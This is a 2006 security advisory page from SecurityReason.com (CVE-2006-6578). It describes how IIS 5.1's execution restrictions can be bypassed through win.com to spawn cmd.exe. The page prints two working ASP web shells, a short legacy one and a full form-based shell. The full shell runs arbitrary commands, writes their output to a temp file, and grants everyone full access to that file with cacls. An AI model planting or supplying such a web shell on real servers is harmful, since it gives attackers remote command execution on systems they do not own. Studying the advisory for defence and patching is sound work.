SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

ASP Cmd Shell On IIS 5.1


Arrow  SecurityAlert : 2036
Arrow  CVE : CVE-2006-6578
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Brett Moore (brett moore security-assessment com)
Arrow  Published : 18.12.2006

Arrow  Affected Software : Microsoft Internet Information Services (IIS) 5.1



Arrow  Advisory Content :  

========================================================================

====
% ASP Cmd Shell On IIS 5.1
% brett.moore (at) security-assessment (dot) com [email concealed]
========================================================================

====

ASP shells have been around since the dawn of time. On IIS 5.0 and prior
it
was simple to create a 'command prompt shell' using code similar to;

<%
Set oS = Server.CreateObject("WSCRIPT.SHELL")
output = oS.exec("cmd.exe > /c " & request("command")).stdout.readall
response.write output
%>

Permissions changes in IIS 5.1 prevented this method from working as
execution access was revoked to the IUSR_Machine user.

During one boring afternoon it was decided to find a way around this,
and
what we found was 'slightly' interesting.

When IIS checks to see if an executable has 'execute' rights it is
checking against IUSR_Machine. If execute rights are granted then the
new process is created, under the IWAM_Machine account.

Thus all that was needed was an executable that could be run by
IUSR_Machine
and would then spawn an instance of cmd.exe.

We set about seeing what executables could be run by IUSR_Machine. It
turns
out that execution access has been revoked to all files with the .exe
extension. We did however locate several .com files that could still be
executed. One in particular 'win.com' takes a command line as a
parameter
and will execute it.

Because of the 'double spawning' we can not make use of .stdout.readall,
and
need to revert to outputting to a file, and reading it back in.

Due to the process executing under a different account than that of the
ASP
processor, we need to jump through a couple of hoops.
* The folder that we use must be WRITEABLE by IWAM_Machine
* The folder that we use must be READABLE by IUSR_Machine
* We need to alter file permissions to allow IUSR_Machine access to read

the file created by IWAM_Machine

The accesschk tool from sysinternals, can easily identify a valid
location.
Our testings came up with c:windowspchealthERRORREPQHEADLES
IIS6.0 revokes access to both IUSR_Machine and IWAM_Machine, and
therefore
this technique will not work on that platform.

------------------------------------------------------------------------

----
<%
Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")

If (szCMD <> "") Then
szTF = "c:windowspchealthERRORREPQHEADLES" & oFSys.GetTempName()
' Here we do the command
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
"""",0,True)
response.write szTF
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
everyone:F",0,True)
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<%
If (IsObject(oF)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oF.ReadAll)
oF.Close
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If
%>

========================================================================

====
%
========================================================================

====





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.